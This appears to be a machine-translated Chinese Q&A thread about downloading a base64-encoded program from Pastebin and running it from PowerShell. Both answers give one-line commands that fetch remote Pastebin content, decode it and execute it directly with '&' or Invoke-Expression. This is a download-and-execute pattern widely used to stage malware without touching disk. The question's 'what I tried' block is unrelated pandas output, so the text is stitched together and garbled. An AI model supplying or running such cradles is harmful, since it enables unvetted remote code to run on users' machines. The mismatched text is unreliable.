我有一个用vb.net编写的程序,我将其转换为base64字符串,并将base64字符串上传到pastebin。
如何从Powershell命令下载并执行它?
我尝试了这个,但是没有用:
a1 80.0
a2 130.0
b1 64.0
c1 58.0
c2 80.0
dtype: float64
任何帮助将不胜感激
答案 0 :(得分:1)
好,就像我在评论中说的那样:
但是出于“如何下载,解码然后使用Powershell运行命令”的问题,我可能会给出一个答案:
& ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Invoke-WebRequest -Uri "https://pastebin.com/raw/hunMB9wV" | Select-Object -ExpandProperty Content))))
在我的示例中,我将calc
编码为base64
,并将其上传到pastebin。
说明:
&
-用于运行代码
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String()
-将base64
解码为UTF8
Invoke-WebRequest -Uri "https://pastebin.com/raw/hunMB9wV" | Select-Object -ExpandProperty Content
-下载pastebin网站的原始内容
答案 1 :(得分:0)
如果您真的要这样做-此代码将转到pastebin,获取内容,从base64对其进行解码,然后在Powershell中运行
Invoke-Expression -Command $([string]([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Invoke-WebRequest -Uri https://pastebin.com/raw/XXXXXXX).content))))